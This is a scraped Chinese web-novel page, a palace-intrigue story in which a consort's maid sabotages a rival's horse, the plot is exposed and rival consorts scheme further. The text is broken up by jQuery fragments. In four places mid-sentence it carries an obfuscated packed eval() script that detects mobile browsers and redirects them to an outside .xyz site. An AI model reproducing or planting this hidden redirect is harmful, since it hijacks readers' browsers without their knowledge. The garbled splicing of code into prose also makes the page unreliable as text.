$(''.inform'').remove(); $(''#content'').append('' 眸盯着门口青砖缝里的积雪,沉吟片刻才缓缓开口:“娘娘息怒,奴婢不是说放过她,只是需得做得更干净些。” 她抬眼望向丽昭仪,眸光里透着算计的冷光,“茯苓去御马监,只消按您的吩咐,给那玉花骢的马鞍暗扣抹上些松脂便可——待宸嫔娘娘骑到密林深处,鞍扣遇热松动,自然会摔下马去。” “那尾巴呢?”丽昭仪挑眉,指尖敲了敲暖炉,“李管事和绿萼……” “李管事那边,奴婢早已备下了他私通宫外的账册。”桃夭从袖中取出个油布小包,里面露出半页泛黄的纸角,“待事成之后,只需将这东西‘不慎’落在皇后宫里,他便是有十个胆子也不敢多言。至于绿萼……” 她顿了顿,语气更冷,“她本就是个见钱眼开的,奴婢会给她一笔银子,让她称病出宫。若是她敢乱说话……” 桃夭做了个抹脖子的手势,“南边的乱葬岗,最是能藏住秘密。” 丽昭仪盯着桃夭手中的油布包,眼中的迟疑渐渐被狠决取代。 她知道桃夭的手段,当年府里争宠的庶妹,便是被桃夭用类似的法子悄无声息地除了去。 想到乔瑾从马上摔下时的狼狈模样,她紧绷的嘴角终于勾起一抹狞笑:“好,就按你说的办!只是那玉花骢若是摔不死她……” “娘娘放心。”桃夭上前一步,替丽昭仪拢了拢披风,“南苑的落雁坡下全是尖石,去年就有个侍卫**后摔断了脊梁。奴婢已让茯苓在玉花骢的草料里掺了些会让它亢奋的药引子,届时那马一受惊,定会往落雁坡冲。” 她顿了顿,压低声音,“就算她命大没摔死,只要在皇上面前失了体面,被马惊了驾,也是大不敬的罪名,够她喝一壶的了。” 丽昭仪听得连连点头,心头的郁气总算散了些,抬手赏了桃夭一支赤金镶珠的护甲:“还是你想得周到。等这事成了,本宫少不了你的好处。” “奴婢为主子分忧,是本分。”桃夭屈膝谢过,将油布包重新藏回袖中,“时候不早了,奴婢这就去安排绿萼的事。娘娘只需按原定计划,明日去御花园‘偶遇’皇上和宸嫔,装作关切地提醒几句‘猎场危险’,便更显得咱们姐妹情深了。” “哼,姐妹情深?”丽昭仪冷笑一声,挥手让她退下,“本宫只等着看她从云端摔下来的样子!” 桃夭躬身退到殿外,寒风卷起她青灰色的裙角。 她望着远处君心殿方向升起的炊烟,嘴角勾起一抹无人察觉的弧度。 她摸了摸袖中那半页账册,转身踏入纷飞的碎雪中,靴底踩在薄冰上,发出细碎而冷硬的声响。 第一百四十五章 r 卯时三刻的晨光刚漫过琉璃瓦,乔瑾便已在镜前束发。 绿萝捧着那身墨色骑射服走近时,却见她指尖停在发间的玉簪上,久久未动。 殿外的玉花骢传来几声低嘶,本该是温顺的调子,此刻却透着一丝不易察觉的焦躁。 “小主,您今日脸色不大好。”绿萝将骑射服搭在臂弯,担忧地望着镜中乔瑾微蹙的眉,“可是昨晚没睡好?” 乔瑾望着镜中自己泛青的眼下,摇了摇头。 自昨日从演武场回来,她便觉得心绪不宁,像是有根细弦悬在心头,时不时被冷风拨动。 方才去马厩看玉花骢,那马竟一反常态地刨着蹄子,鼻孔里喷出的白气带着股若有似无的甜腥——那气味极淡,像极了她早年在浣衣局见过的、用来迷晕猫狗的“醉仙散”晒干后的味道。 “今日不练了。”她忽然开口,指尖抚过案头未写完的《出师表》,墨痕在宣纸上洇出一道深痕,“把骑射服收起来吧,替我取那身素色褙子。” 绿萝虽疑惑,却不敢多问。 而此刻朝阳殿的暖阁里,丽昭仪正扒着窗纸缝隙,死死盯着君心殿的方向。 当看到乔瑾的身影出现在廊下,却转身进了小厨房,而非演武场时,她攥着窗棂的手指骤然收紧,掐得木头上留下半个月牙印。 “怎么回事?”她猛地回头,看向侍立一旁的桃夭,“那**怎么没去?” 桃夭望着远处君心殿飘出的炊烟,眼神沉静:“娘娘稍安勿躁。许是宸嫔娘娘身子不适,或是……” 她顿了顿,嘴角勾起一抹冷笑,“想多攒些力气,等皇上亲自去了再显摆。” 丽昭仪咬牙切齿地在殿内踱步,鎏金暖炉的火星溅在狐裘上,她也浑然不觉:“哼,最好是这样!她躲得过初一,躲不过十五!等冬猎那日,看她往哪儿逃!” 连续两日,乔瑾都以“风寒未愈”为由未曾踏出演武场。 直到第三日午后,君景珩亲自来到君心殿,笑言要考较她的骑术,她才“勉为其难”地换上了骑射服。 玉花骢被牵到演武场时,乔瑾敏锐地注意到它眼底的红血丝——比前日更甚,且呼吸间那股甜腥气浓了些。 她伸手去抚马颈,指尖刚触到温热的皮**,那马便猛地甩了甩头,前蹄不安地刨着冻硬的土地。 “怎么了?”君景珩上前一步,眉头微蹙,“昨日还好好的。” 乔瑾心中一凛,面上却不动声色,轻轻拍了拍玉花骢的脖颈,低声安抚:“许是今日风大,受了惊。” 她弯腰检查马鞍,指尖在暗扣处一抹,果然沾到了些许黏腻的透明油脂——那是松脂融化后的痕迹,在冬日的低温里本该凝固,此刻却因马匹的体温而微微软化。 “皇上,”她忽然直起身,指着远处的梅林笑道,“听闻南苑的梅林与这处景致相似,不如臣妾试骑一圈,就当提前熟悉地形?” 她刻意将路线引向与落雁坡相反的方向,那里地势平坦,且有侍卫巡逻。 君景珩不疑有他,笑着点头:“好,朕在这儿看着你。” 乔瑾翻身上马,刚握住缰绳,玉花骢便突然打了个响鼻,猛地扬起前蹄!那力道之大,险些将她颠下马背。 她早有防备,双腿死死夹住马腹,同时攥紧缰绳向后拉扯——这是前日君景珩教她的应急之法。 “吁!”她厉声喝止,同时眼角余光瞥见不远处的假山后,一抹石榴红的衣角迅速缩回。 玉花骢被药物刺激得愈发狂躁,挣着缰绳便往演武场西侧的密林冲去——那里虽不是落雁坡,却也怪石嶙峋。 乔瑾心中冷笑,知道这是中了圈套。 她非但没有慌乱,反而趁势松了松缰绳,却在马匹即将冲进密林的刹那,猛地勒住左侧缰绳,同时用脚尖轻磕马腹! 这是个险招,利用马匹的冲力使其急转。 玉花骢本就亢奋,被她这么一激,竟原地打了个旋,前蹄重重踏在一块凸起的青石上,“咔嚓”一声,马鞍的暗扣因松脂融化和剧烈颠簸而彻底断裂! “小心!”君景珩脸色大变,已策马冲来。 乔瑾却在马鞍滑落的瞬间,借力向后一仰,如同一片落叶般轻飘飘地从马背上翻下,稳稳落在雪地里。 她甚至还有空伸手一捞,将那截断裂的、沾着松脂的马鞍暗扣握在手中。 玉花骢失去了马鞍束缚,又因药物作用而发狂,尥蹶子冲进了密林深处,很快传来撞断树枝的声响。 君景珩翻身下马,几步冲到乔瑾面前,见她只是沾了些雪,并未受伤,才松了口气,却又惊又怒:“怎么回事?!” 乔瑾将手中的暗扣递给他,指尖还残留着松脂的黏腻:“皇上请看。” 君景珩接过暗扣,借着天光一看,那断裂处果然涂着透明的松脂,边缘还有被刻意磨损的痕迹。 他猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845701|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抬眼,望向刚刚那名宫女方才藏身的假山方向,眼神冷得像冰:“怎么回事?有人故意陷害?!” “臣妾不敢确定,”乔瑾垂眸,声音带着一丝后怕,“只是方才马惊前,似乎看到那边方向好像有人影……” 说到这乔瑾的嗓音有些迟疑,有些不敢开口道:“皇上,臣妾……臣妾刚刚看到的好像是朝阳殿的宫女……” 但随即又话锋一转,“不对,怎么可能回去丽昭仪呢,虽然上次在皇后的宫里,她跟臣妾发生了口角,但是平常的时候我们还是很要好的……”说着还摇了摇头。 话音未落,密林里传来侍卫的呼喊:“皇上!发现玉花骢了!它……它口吐白沫,像是中了药!” 君景珩的脸色彻底沉了下来,而听着刚刚乔瑾的话,他的眼眸眨了眨,不知想到了些什么,脸色更加的深沉。 他扶着乔瑾起身,目光扫过演武场四周,最终落在匆匆赶来的周公公身上:“去,传朕旨意,封锁朝阳殿,把丽昭仪和她宫里的所有宫女,都给朕带到乾元殿!还有,把御马监的李管事也一并带来!” 周公公见皇上动了真怒,吓得一哆嗦,连忙应声而去。 乔瑾望着君景珩紧绷的下颌线,轻声道:“皇上,或许……只是意外?” “意外?”君景珩转头看她,眼中是毫不掩饰的杀意,“松脂融鞍,药物亢奋,两件事凑在一起,也是意外?” 他握住她的手,发现那指尖冰凉,语气更沉,“央央,你不必替任何人遮掩。在朕这里,伤了你的人,朕一个都不会放过。” 远处的咸福宫方向传来隐约的喧哗,似乎有人在哭喊。 乔瑾望着漫天飞舞的碎雪,想起桃夭那双算计的冷光,又想起丽昭仪扭曲的妒容,心中忽然一片清明——这深宫里的豺狼虎豹,从来不会因为你的退让而收起獠牙。 “皇上,”她抬眼,目光坚定,“臣妾方才**时,似乎看到的是丽昭仪的贴身宫女茯苓,在密林外鬼鬼祟祟地张望。” 她故意抛出这个线索,知道君景珩定会顺藤摸瓜,查到桃夭和丽昭仪的头上。 君景珩眼中寒光一闪,握紧了她的手:“好。今日,朕便要看看,究竟是谁在背后捣鬼。” 风雪越来越大,将演武场上的混乱渐渐掩盖。 但乔瑾知道,这场由嫉妒引发的阴谋,才刚刚拉开败露的序幕,而她手中紧握着的那截沾血的松脂暗扣。 第一百四十六章 败露 铅灰色的云层压得更低,朝阳殿的铜鹤熏炉里,龙涎香燃得只剩半炉冷灰,袅袅青烟在雕花木梁间盘旋,如同丽昭仪此刻翻涌不定的心绪。 她正对着菱花镜补妆,指尖捏着的螺子黛几次打滑,在眼角画出一道歪斜的青痕。 桃夭刚替她擦去残妆,殿外突然传来周公公尖利的唱喏声,那声音穿透风雪,像冰锥般扎进丽昭仪耳中: “丽昭仪娘娘,皇上有旨,速往乾元殿觐见——” 丽昭仪手中的螺子黛“啪”地掉在妆台上,碎成几瓣。 她猛地抬头,镜中映出自己煞白的脸,鬓边的赤金步摇剧烈晃动,险些坠下。 桃夭瞳孔骤缩,下意识地握住袖中藏着的油布小包,却听丽昭仪深吸一口气,强行压下眼底的慌乱,转身时已换上一副茫然无措的神情。 周公公撩开厚重的棉帘走进来,目光扫过殿内狼藉的妆台,面无表情地垂手而立。 丽昭仪踉跄着上前,声音带着刻意装出的惊讶:“周公公?皇上这时候传本宫……可是出了什么事?方才听闻宸嫔妹妹去练骑射,该不会是……” 她捂住胸口,眼中挤出几分担忧,“那宸宸妹妹没事吧?” 周公公眼皮都未抬一下,声音冷得像殿外的风雪:“娘娘到了乾元殿自会知晓。皇上还请娘娘快些,莫要让圣驾久等。” 他的目光落在丽昭仪颤抖的指尖上,那上面还沾着未擦净的螺子黛痕迹,透着一股欲盖弥彰的狼狈。 丽昭仪咬了咬唇,知道再问下去也是徒劳。 她狠狠瞪了眼身旁同样脸色发白的桃夭,抓起披风甩在肩上,踩着碎步跟在周公公身后。 朝阳殿的门在她身后缓缓关上,将桃夭眼中一闪而过的狠决与茯苓惊恐的啜泣声,都隔绝在风雪之外。 乾元殿内烛火通明,君景珩负手立在御座前,玄色龙袍上的金线**纹在火光下泛着冷冽的光。 乔瑾静立在他身侧,手中捏着一方素帕,帕子下正裹着那截沾着松脂的马鞍暗扣。 当丽昭仪带着一身寒气闯入时,正对上君景珩冰刃般的目光,脚下一个趔趄,险些跪倒。 “皇上……”她强作镇定地福身,眼角余光瞥见乔瑾安然无恙,心头猛地一沉,却仍维持着担忧的口吻,“听说宸嫔妹妹方才**,可伤到哪里了?臣妾一听说就心急如焚,恨不能立刻赶来……” “哦?你倒是消息灵通。”君景珩打断她,声音里听不出喜怒,却让殿内温度骤降,“朕倒想问问你,宸嫔的马为何会突然发狂?马鞍暗扣又为何会涂满松脂?” 丽昭仪脸色“唰”地白了,指尖深深掐进掌心:“皇上这话……臣妾听不懂。好好的马怎么会发狂?莫不是那马自己受了惊,或是……或是御马监的人照料不周?” 她试图将罪责推给御马监,目光却不由自主地瞟向殿下跪着的御马监李管事。 李管事早已吓得魂飞魄散,不等君景珩开口,便“咚咚咚”磕起头来:“皇上饶命!奴才冤枉啊!是……是朝阳殿的宫女茯苓前日来找奴才,说……说娘娘想瞧瞧玉花骢的马鞍,奴才一时糊涂,就……” “住口!”丽昭仪厉声呵斥,眼中闪过一丝慌乱,“你休要血口喷人!本宫何时让茯苓找过你?” “是吗?”君景珩抬手,周公公立刻呈上一个瓷瓶,里面装着暗褐色的粉末,“这是从玉花骢草料里搜出的‘醉仙散’,足以让烈马亢奋发狂。而替玉花骢加料的小太监,已经招认是收了朝阳殿茯苓的银子。”他顿了顿,目光如刀刮过丽昭仪,“丽昭仪,你还要狡辩?” 丽昭仪浑身剧震,踉跄着后退半步,撞在身后的鎏金香案上,发出“哐当”巨响。 她看向殿下被侍卫押着的茯苓,那宫女早已吓得瘫软在地,嘴里胡乱喊着:“不是奴婢!是桃夭姑姑让奴婢做的!她说……她说事成之后给奴婢一百两银子出宫……” “桃夭?”君景珩挑眉,目光转向一直垂首侍立在丽昭仪身后的桃夭。 桃夭忽然上前一步,屈膝行礼,语气竟异常平静:“皇上,奴婢认罪。” 她从袖中取出那个油布小包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845702|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,里面露出半页账册,“李管事私通宫外的证据在此,是奴婢胁迫他配合的。给玉花骢下药、涂抹松脂,也都是奴婢一人所为,与我家娘娘无关。” 丽昭仪猛地转头,难以置信地看着桃夭:“你……你说什么?!” “娘娘息怒。”桃夭抬眼,眸光里再无半分主仆情分,反而透着一丝诡异的释然,“奴婢感念娘娘当年提携之恩,所以奴婢见不得娘娘自从宸嫔娘娘受宠过后,每日泪眼婆娑,整日难受的模样。” “奴婢心想只要除了宸嫔,那么皇上肯定还会再进后宫的,所以此事和娘娘无关!” 她说着,忽然猛地撞向身旁的铜柱,“噗”地一口鲜血喷在金砖上,气绝身亡。 殿内一片死寂。 乔瑾看着桃夭倒地的身影,心中骤然明白——这是桃夭最后的算计,用自己的命堵住了所有活口,也将罪责全揽在身上,保下了丽昭仪的位份。 君景珩盯着那滩血迹,眼中杀意翻涌,最终却只冷冷吐出一句:“丽昭仪教下不严,禁足朝阳殿,无召得出!李管事、绿萼……”他顿了顿,声音冰寒刺骨,“杖毙,抛尸乱葬岗。” 丽昭仪瘫软在地,望着桃夭的尸体,又看看君景珩决绝的眼神,终于发出一声凄厉的哭喊:“皇上!臣妾冤枉啊——!” “拖下去。”君景珩不再看她,转身走向乔瑾,伸手将她紧紧拥入怀中,掌心隔着衣料传来她微微的颤抖,“没事了,朕在。” 乔瑾靠在他胸前,听着他沉稳的心跳,鼻尖却萦绕着桃夭鲜血的腥气。 她知道,这场风波看似平息,却只是深宫里无数阴谋中的冰山一角。 而桃夭临死前那抹诡异的笑容,像一根刺,深深扎进了她的心底——这后宫里,最可怕的从来不是明枪暗箭,而是人心底那片无法丈量的深渊。 殿外的风雪不知何时停了,一缕残阳穿透云层,照在乾元殿的金砖上,将那滩血迹映得格外刺目。 乔瑾抬眼望向窗外,忽然觉得,这个冬天,似乎比以往任何时候都要漫长。 第一百四十七章 禁足 丽昭仪回到凤仪殿时,鎏金兽首衔环的殿门在她身后被狠狠甩上,震得檐角铜铃发出一阵零碎而刺耳的嗡鸣。 她周身的华贵宫装早已在回宫的轿辇中被攥得褶皱不堪,珠钗歪斜地坠在鬓边,几缕青丝散落下来,贴着汗湿的脸颊,往日里顾盼生辉的凤眸此刻只剩猩红与戾气。 殿内伺候的宫女神色惶惶,远远见她踏入,便如同见了煞神般齐刷刷跪倒在地,额头抵着冰凉的金砖,连呼吸都敛得极轻。 “哐当——” 一声脆响划破死寂。 丽昭仪抬手挥落了身旁紫檀木花几上的鎏金香炉,炉内尚未燃尽的龙涎香碎末撒了满地,青烟混着火星在冰冷的地面上徒劳地挣扎,最终归于寂灭。 她似乎仍未泄愤,踉跄着扑向墙边的**架,纤长的手指颤抖着抓住一只羊脂玉双耳瓶,那是她上月刚从内务府讨来的心爱之物,此刻却被她狠狠掼在地上。 “砰!哗啦——” 玉瓶碎裂的声响尖锐如刀,飞溅的碎片擦过她的脚踝,割破了一层薄皮,渗出的血珠染红了月白色的裙裾,她却浑然不觉。 往日里,每当她动怒,桃夭总会噙着泪上前,小心翼翼地握住她的手,温声劝道:“娘娘息怒,仔细伤了自己……” 可如今,桃夭早已化作乱葬岗上一抔黄土,是她亲手为了除掉乔瑾,将那忠心耿耿的丫头推入了绝境。 想到桃夭,丽昭仪的动作猛地一顿,指尖死死抠住**架的雕花边缘,指节泛白。 殿内再无那声软糯的劝阻,只剩下她粗重的喘息,以及宫女太监们压抑到极致的瑟缩声。 地上的瓷器碎片在烛火下闪着冷光,像极了桃夭临死前那双盛满不解与悲凉的眼睛。 “都**吗?!”她猛地回头,声音因暴怒而嘶哑,“见着主子动怒,连句劝都不会说了?!” 跪着的众人更是把头埋得更低,为首的掌事太监颤声回道:“娘娘恕罪……桃夭姑娘去后,奴婢们……奴婢们不敢……” 不敢? 丽昭仪嘴角扯出一抹凄厉的笑。 是啊,桃夭那样贴心的人都落得那般下场,谁还敢触她的霉头? 她跌坐在冰冷的碎片之中,锦缎裙摆被瓷碴勾出几道破口,狼狈得再也没有半分昭仪的威仪。 殿内的死寂持续了许久,唯有烛芯爆响的噼啪声偶尔打破沉寂。 丽昭仪盯着地上的碎片,胸口的起伏渐渐平息下来,那双因怒火而失焦的眸子,此刻竟慢慢凝聚起一丝冷冽的清明。 她伸手,指尖触到一块尖锐的玉片,凉意顺着指尖蔓延,让她混沌的脑子彻底清醒。 乔瑾……那个平日里看似温婉无害的瑾嫔,怎么可能突然就抓住了她的把柄? 不过是前日里略施小计,让她宫里的采买太监在采办胭脂时动了些手脚,意图栽赃给与她不睦的贤妃,怎会如此轻易就被乔瑾察觉,还闹到了皇帝面前,害得她不仅没能扳倒贤妃,反被皇帝斥责了一顿,禁足于朝阳殿? “不可能……”她喃喃自语,指甲深深掐进掌心,“乔瑾那个蠢货,平日里连份账本都算不清,怎会有如此缜密的心思?” 她缓缓撑着地面站起身,裙摆上的碎瓷片簌簌掉落。 她踱步到窗边,望着殿外沉沉的夜色,宫墙巍峨,在月光下投下墨色的阴影,如同无数双窥视的眼睛。 “是了……”她忽然停住脚步,眼中闪过一丝惊疑,“定是有人在背后指点她!或者……是有人想借她的手,来对付我!” 谁? 谁有这样的动机,又有这样的手段?贤妃?不像,贤妃性子直爽,向来明枪明箭,不屑于这般阴私手段。 皇后?皇后母仪天下,轻易不会插手妃嫔间的争斗,除非……除非是触及了她的根本利益? 不,还有一个人……丽昭仪猛地想起昨日在御花园偶遇的庄妃。 庄妃素来与她面和心不和,昨日却难得热络地拉着她说话,言语间似有若无地提及瑾嫔近日得了皇帝几分青眼,还“好心”提醒她,说瑾嫔宫里新来了个极会算计的嬷嬷,让她多加小心。 当时她只当是庄妃挑拨,并未放在心上,此刻想来,那番话里竟藏着如此深的机锋! “庄妃……”她低声念着这个名字,嘴角勾起一抹冰冷的弧度,“好手段啊……借刀**,倒是省事。” 她转过身,目光扫过跪在地上的众人,声音恢复了惯常的冷傲,却多了几分不容置疑的狠厉:“起来吧。去,把地上收拾干净。” 掌事太监连忙应诺,带着宫女们小心翼翼地爬起来,取了扫帚抹布,战战兢兢地清理着碎片。 丽昭仪走到妆台前,镜中映出她略显憔悴却依旧艳丽的面容。 她抬手,慢慢将歪斜的珠钗扶正,指尖划过镜中自己的眉眼,眼神逐渐变得坚定而阴鸷。 “想算计我?”她对着镜中的自己,勾起唇角,“桃夭的死,这笔账我还没算完,如今又来惹我……” 她顿了顿,朝立在一旁的掌事太监吩咐道:“小安子,你去办件事。仔细盯着庄妃宫里的动静,尤其是她身边那个新来的嬷嬷,还有……瑾嫔宫里那个所谓的‘能人’。记住,手脚要干净,别让人抓住了把柄。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845703|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“奴才遵命。”小安子连忙躬身应下,不敢有丝毫迟疑。 丽昭仪看着窗外渐浓的夜色,眼中寒光闪烁。 这后宫之中,从来就没有偶然。 桃夭的死,乔瑾的发难,背后必定牵扯着一张更大的网。 而她,绝不能就此认输。 她要查清楚,到底是谁在背后推波助澜,她要让那些人知道,惹了她丽昭仪,下场只会比桃夭更惨。 烛火在她身后明明灭灭,将她的身影拉得颀长而孤寂,却又透着一股破釜沉舟的决绝。 —— 福宁宫内,晚香玉开得正盛,甜腻的香气混着案头新研的墨香,萦绕在暖阁之中。 庄妃正临着窗棂,执一支羊毫在素笺上勾描兰花,指尖捻着的胭脂色甲套在烛光下泛着温润的光。 她身旁的大宫女挽月捧着刚沏好的碧螺春,轻声道:“小主,夜深了,歇会儿吧?” 淑妃头也未抬,唇角噙着一抹淡笑:“不急,这株兰草的风骨还差些意思……” 话音未落,殿外忽然传来一阵急促的脚步声,伴随着小太监略显慌张的通传:“小主!小主!朝阳殿那边……出事了!” 淑妃握笔的手猛地一顿,墨滴在宣纸上晕开一小团深色痕迹。 她抬眼望去,只见贴身太监**公气喘吁吁地闯进来,脸上血色尽褪。 “慌什么?”淑妃放下笔,语气带着惯常的清冷,眼底却已掠过一丝不易察觉的警惕,“慢慢说,朝阳殿怎么了?” **公扑通一声跪倒在地,声音抖得不成样子:“回……回小主,刚从养心殿传来的消息——丽昭仪她……她被陛下禁足在朝阳殿了!” “什么?” 淑妃手中的羊毫“啪嗒”一声掉在案上,墨汁溅上了她月白色的衣袖。 她从软榻上站起,素来从容的眉眼间写满了难以置信,连声音都拔高了几分:“禁足?为何禁足?这是发生了什么事?” 随即脸上露出几分看戏的神色。 挽月吓得手一抖,茶盏险些摔在地上,滚烫的茶水洒在她手背上,她却浑然不觉,只怔怔地看着自家主子。 淑妃此刻脸色煞白,指尖冰凉,连指甲套都险些滑落。 她明明只让心腹给瑾嫔宫里的嬷嬷稍了个“口风”,暗示丽昭仪近日手脚不干净,想借瑾嫔的受宠去搅扰丽昭仪的事,怎会闹到皇帝面前,还落得个禁足的下场? “谁让你慌慌张张闯进来的?”庄妃深吸一口气,强迫自己冷静下来,目光如刀般剜向**公,“陛下是怎么说的?瑾嫔那边……到底做了什么?” 第一百四十八章 补品 **公伏在地上,额头磕着青砖:“陛下……陛下说丽昭仪底下的宫女在瑾嫔骑射的马中做手脚,意图想要陷害宸嫔,人证物证俱在,龙颜大怒,当场便下了禁足令,还斥责丽昭仪‘管教不严’……至于瑾嫔娘娘,据说在御前哭得梨花带雨,把前因后果都说了。” “皇上龙颜大怒,派人去查君心殿的……” “管教不严?”淑妃瞳孔骤缩,心猛地沉了下去。 她只让那嬷嬷“提醒”瑾嫔留意殿中的人,何曾让她去搜什么字据?丽昭仪做事向来谨慎,怎会留下如此明显的证据? 除非…… 除非瑾嫔背后有人指点,而且下手极快,快到丽昭仪都没来得及反应! “是哪个嬷嬷教她的?”庄妃的声音冷得像冰,“瑾嫔宫里那个新来的张嬷嬷,是不是你安排过去的人?” **公打了个寒颤,连忙回道:“是……是奴才上月安插的,本想让她瞧着时机递话,可……可奴才绝没让她去搜什么字据啊!小主,那张嬷嬷是京郊李家的远亲,素来还算稳妥,怎会……” “稳妥?”淑妃冷笑一声,在殿内来回踱步,裙摆扫过地上的月光,划出急促的弧线,“若真是稳妥,怎会把事情做得这么绝?丽昭仪是什么人?她若被禁足,第一个怀疑的是谁?!” 她猛地停住脚步,看向窗外沉沉的夜色。 朝阳殿与福宁宫虽隔着几重宫墙,此刻却仿佛有一道无形的视线穿透过来,带着怨毒与冰冷。 丽昭仪何等聪明,上次御花园偶遇时,她那番“好心提醒”本就留了痕迹,如今出了这等事,丽昭仪岂会善罢甘休? “小主,您别慌……”挽月连忙上前,想为她披上外衣,“说不定……说不定是瑾嫔自己想邀功,故意闹大了呢?” “邀功?”淑妃接过外衣,指尖却依旧冰凉,“瑾嫔那点心思,连宫门都迈不出去,若没人在背后教她如何找证据、如何在陛下面前措辞,她能做得如此滴水不漏?” 她忽然想起什么,猛地看向**公:“你快去!立刻去查两件事——第一,瑾嫔宫里的张嬷嬷,这几日都跟什么人有过接触,有没有其他宫的人去找过她;第二,看看皇后娘娘或者贤妃娘娘宫里,这两日有没有异常动静!” “奴才遵命!”**公不敢怠慢,连忙爬起来就要往外跑。 “等等!”淑妃又叫住他,眼神锐利如鹰,“记住,此事必须悄无声息,若走漏了半点风声,仔细你的皮!还有……” 她顿了顿,语气里多了几分阴鸷,“派人盯着朝阳殿,丽昭仪被禁足,她宫里的人总要出来采买物件,看看有没有她的心腹在暗中活动。” “是!”**公应声退下,脚步声消失在殿外。 暖阁内重新陷入寂静,只有晚香玉的香气依旧浓郁,却透着一股令人窒息的压抑。 庄妃走到窗边,望着那轮被薄云遮蔽的残月,眉头紧紧蹙起。 事情超出了她的掌控。 她本想借瑾嫔之手,让丽昭仪吃个暗亏,挫挫她的锐气,顺便挑起她与贤妃的争斗,自己好坐收渔利。 却没想到,这把火烧得如此之旺,直接将丽昭仪逼入了绝境。 是谁在背后推波助澜?是瑾嫔真的得了高人指点,还是……另有其人想借此事来搅乱后宫,甚至……将矛头引向她? 庄妃的指甲深深掐进掌心,眼中闪过一丝惊疑与狠戾。 不管是谁,敢在她的计划里插手,就得付出代价。 而丽昭仪那边……她必须尽快撇清关系,甚至……要让丽昭仪相信,这一切都是瑾嫔自作主张,或是另有仇敌所为。 “挽月,”她忽然开口,声音恢复了平静,却带着一丝冷意,“去取一套素净些的衣裳来。明日一早,我要去朝阳殿外‘探望’一番,做戏,也要做全套。” 挽月愣了一下,随即明白过来,连忙应道:“是,小主。” 淑妃看着镜中自己略显苍白的脸,缓缓勾起唇角。 这后宫的水,从来都不是她能独自搅动的。 既然有人想浑水摸鱼,那她便将计就计,看看这潭水里,究竟藏着多少魑魅魍魉。 只是丽昭仪这头被激怒的困兽,一旦挣脱束缚,怕是最先咬向的,就是她这个“近在咫尺”的“仇敌”了。 夜色更深,景仁宫内的烛火明明灭灭,映着淑妃眼中深不见底的算计与警惕。 一场由禁足引发的暗流,正在后宫的阴影里悄然涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845704|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动。 暮色漫过宫墙时,乔瑾被内侍扶着踉跄踏入君心殿。 她身上的骑装还沾着草屑,鬓边的珠翠散了大半,一张素白的脸毫无血色,唯有一双眸子因受惊过度而微微发颤。 随侍的宫女绿萝捧着刚绞好的热帕子追上来,声音里带着哭腔:“小主,快擦擦,仔细着凉……” 乔瑾没接帕子,只怔怔地坐在软榻上,指尖还在无意识地颤抖。 白日里那匹受惊的白马突然人立而起,马蹄声与惊呼声混作一团的画面,仍在她脑海里反复回放。 “娘娘,乾元殿的人又来了!”小太监气喘吁吁地跑进殿,“这次是周总管亲自来的,抬了四抬食盒,说是陛下吩咐的,参茸燕窝、固本培元的补品,一样不少!” 话音未落,殿门已被推开,内务府的太监们鱼贯而入,将描金食盒依次摆在廊下,打开来便是扑鼻的药香与甜腻气息。 白玉碗盛着的冰糖雪蛤炖燕窝还冒着热气,赤金托盘里码着整支的老山参,更有罕见的紫河车固本膏,样样都是滋补圣品。 周总管佝偻着腰,堆笑道:“瑾嫔娘娘受惊了,陛下在乾元殿批奏折,心里记挂着您,特意吩咐奴才们每隔半个时辰就送一趟,说是务必让娘娘养足精神。” 这阵仗惊得殿内宫女太监都屏息凝神。 绿萼连忙上前谢恩,乔瑾却只是茫然地抬了抬眼,嘴唇动了动,终究没说出话来。 消息像长了翅膀似的掠过后宫。 坤宁宫里,皇后正对着账本蹙眉,听闻此事,手中的翡翠护甲轻轻叩了叩桌面,沉吟片刻,对身边的掌事宫女道:“去库房取两盒上好的东阿阿胶,再备一瓮百年野山参炖的鸡汤,给君心殿送去。陛下既如此上心,我这做皇后的,也该尽些心意。” 